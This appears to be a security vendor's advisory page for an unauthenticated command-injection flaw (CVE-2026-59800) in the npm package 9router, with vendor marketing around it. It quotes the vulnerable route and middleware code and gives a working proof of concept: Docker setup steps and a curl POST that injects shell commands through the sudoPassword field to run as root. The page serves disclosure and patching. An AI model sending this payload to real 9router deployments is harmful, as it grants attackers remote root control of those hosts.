Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm
Not in CISA KEV

GHSA-g6g7-pvmx-m74p

GHSA-g6g7-pvmx-m74p is a OS Command Injection vulnerability in 9router. O3 Security confirms whether GHSA-g6g7-pvmx-m74p is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

9router: Missing Authorization and OS Command Injection

Also known asCVE-2026-59800
Published
Jul 2, 2026
Updated
Jul 7, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-g6g7-pvmx-m74p.

EPSS Exploitation Probability

via FIRST.org ↗
1.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs69th percentile — riskier than 69% of all scored CVEsHighest risk
0.84%1.17%1.50%1.84%1.3%1.3%Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

1other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
9routernpm
47Kdownloads / week

Description

Unauthenticated RCE via /api/tunnel/tailscale-install

Affected: 9router (npm package) — current master (v0.4.39).

Summary

POST /api/tunnel/tailscale-install accepts a JSON body with a sudoPassword field and pipes it, followed by the body of https://tailscale.com/install.sh, into a child process spawned as sudo -S sh. The route is not present in the dashboard middleware matcher in src/proxy.js, so the request reaches the handler without invoking dashboardGuard.proxy(). In deployments where the Node process runs as root (Docker images derived from node:* without a USER directive, npm i -g 9router invoked as root, or systemd units without User=), the spawned sh runs as root and executes the attacker-supplied bytes.

Details

1. Middleware matcher (src/proxy.js:3-15)

export const config = {
  matcher: [
    "/",
    "/dashboard/:path*",
    "/api/shutdown",
    "/api/settings/:path*",
    "/api/keys",
    "/api/keys/:path*",
    "/api/providers/client",
    "/api/provider-nodes/validate",
    "/api/cli-tools/:path*",
    "/api/mcp/:path*",
  ],
};

Next.js invokes the middleware only for paths matching this list. Routes that are not listed — including the entire /api/tunnel/* family — do not invoke dashboardGuard.proxy(). No cookie, JWT, CLI token, or Host-header check is applied to them.

2. Route handler (src/app/api/tunnel/tailscale-install/route.js:18-67)

export async function POST(request) {
  const body = await request.json().catch(() => ({}));
  ...
  const sudoPassword =
    body.sudoPassword || getCachedPassword() || await loadEncryptedPassword() || "";
  ...
  const result = await installTailscale(sudoPassword, shortId, (msg) => {
    send("progress", { message: msg });
  });
  ...
}

body.sudoPassword comes from the request body and is passed to installTailscale, which dispatches to installTailscaleLinux on Linux.

3. Linux installation routine (src/lib/tunnel/tailscale.js:304-341)

async function installTailscaleLinux(sudoPassword, log) {
  log("Downloading install script...");
  return new Promise((resolve, reject) => {
    const curlChild = spawn("curl", ["-fsSL", "https://tailscale.com/install.sh"], { ... });
    let scriptContent = "";
    curlChild.stdout.on("data", (d) => { scriptContent += d.toString(); });
    curlChild.on("exit", (code) => {
      if (code !== 0) return reject(...);
      log("Running install script...");
      const child = spawn("sudo", ["-S", "sh"], { stdio: ["pipe", "pipe", "pipe"], windowsHide: true });
      ...
      child.stdin.write(`${sudoPassword}\n`);   //  ← from request body
      child.stdin.write(scriptContent);
      child.stdin.end();
    });
  });
}

The byte stream sent to the stdin of the sudo -S sh child process is:

<sudoPassword from request body>\n
<https://tailscale.com/install.sh body>

When the caller is already root, has NOPASSWD configured for the user, or has a recent sudo timestamp cache, sudo -S sh does not read stdin for a password — it execs sh directly. The new sh process inherits the stdin pipe and reads it line by line:

  1. The sudoPassword value from the request — interpreted as the first shell command.
  2. The install.sh body — interpreted as subsequent shell input.

Appending ; exit 0 to the sudoPassword value causes sh to exit before the legitimate install.sh body runs. The host executes only the request-supplied bytes, as the 9router process user.

Both "Docker container running as root" and "npm i -g 9router on a host with NOPASSWD sudo" reach this path.

PoC

The reproduction below is self-contained: build a representative target image (Node process running as root, with sudo and curl on PATH), start it, send one unauthenticated POST with curl, and read the file written by the payload.

Step 1 — build the target image

docker build -t 9router-vuln-root - <<'EOF'
FROM node:22-bookworm-slim
RUN apt-get update && apt-get install -y --no-install-recommends \
        sudo curl ca-certificates \
    && rm -rf /var/lib/apt/lists/*
RUN npm install -g [email protected]
EXPOSE 20128
CMD ["9router"]
EOF

Step 2 — start the target

docker run -d --rm --name target -p 127.0.0.1:20129:20128 \
    9router-vuln-root 9router --log --skip-update
until curl -fs -o /dev/null http://127.0.0.1:20129/api/health; do sleep 1; done

Step 3 — exploit (one unauthenticated POST)

curl -sN -X POST http://127.0.0.1:20129/api/tunnel/tailscale-install \
     -H 'Content-Type: application/json' \
     -d '{"sudoPassword":"id > /tmp/pwned.txt; exit 0"}'

Step 4 — verify

docker exec target cat /tmp/pwned.txt
# uid=0(root) gid=0(root) groups=0(root)

The trailing "Tailscale not installed" line is a consequence of ; exit 0 terminating sh before the legitimate install.sh body executed; the id > /tmp/pwned.txt write completed earlier in the same sh invocation. The POST carried no credentials, cookies, or prior state.

Impact

Type: Improper Access Control + OS Command Injection (CWE-862 + CWE-78).

Affected operators: 9router operators on Linux/macOS whose deployment matches one of the following configurations:

ConfigurationExampleOutcome
Node process runs as rootCustom Dockerfile without USER, systemd unit without User=, sudo npm i -g 9router && sudo 9routerUnauthenticated remote root RCE (primary case in this report)
Node process runs as a normal user with NOPASSWD sudoDeveloper laptop, CI runner, or single-tenant VPS where the operator's user has NOPASSWD: ALLUnauthenticated remote RCE as the operator's user; root reachable via sudo from the foothold
Node process runs as a normal user without NOPASSWD and no stored passwordHardened multi-user hostThe spawn runs but sudo rejects the supplied value. No RCE; the request still triggers an outbound fetch from tailscale.com and the SSE error stream reveals platform information

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm9routerall versions0.4.44

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for 9router. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update 9router to 0.4.44 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-g6g7-pvmx-m74p is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-g6g7-pvmx-m74p is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-g6g7-pvmx-m74p. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

# Unauthenticated RCE via `/api/tunnel/tailscale-install` **Affected:** `9router` (npm package) — current master (`v0.4.39`). ### Summary `POST /api/tunnel/tailscale-install` accepts a JSON body with a `sudoPassword` field and pipes it, followed by the body of `https://tailscale.com/install.sh`, into a child process spawned as `sudo -S sh`. The route is not present in the dashboard middleware matcher in `src/proxy.js`, so the request reaches the handler without invoking `dashboardGuard.proxy()`. In deployments where the Node process runs as root (Docker images derived from `node:*` without
O3 Security · Impact-Aware SCA

Is GHSA-g6g7-pvmx-m74p in your dependencies?

O3 detects GHSA-g6g7-pvmx-m74p across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-g6g7-pvmx-m74p: 9router: Missing… | O3 Security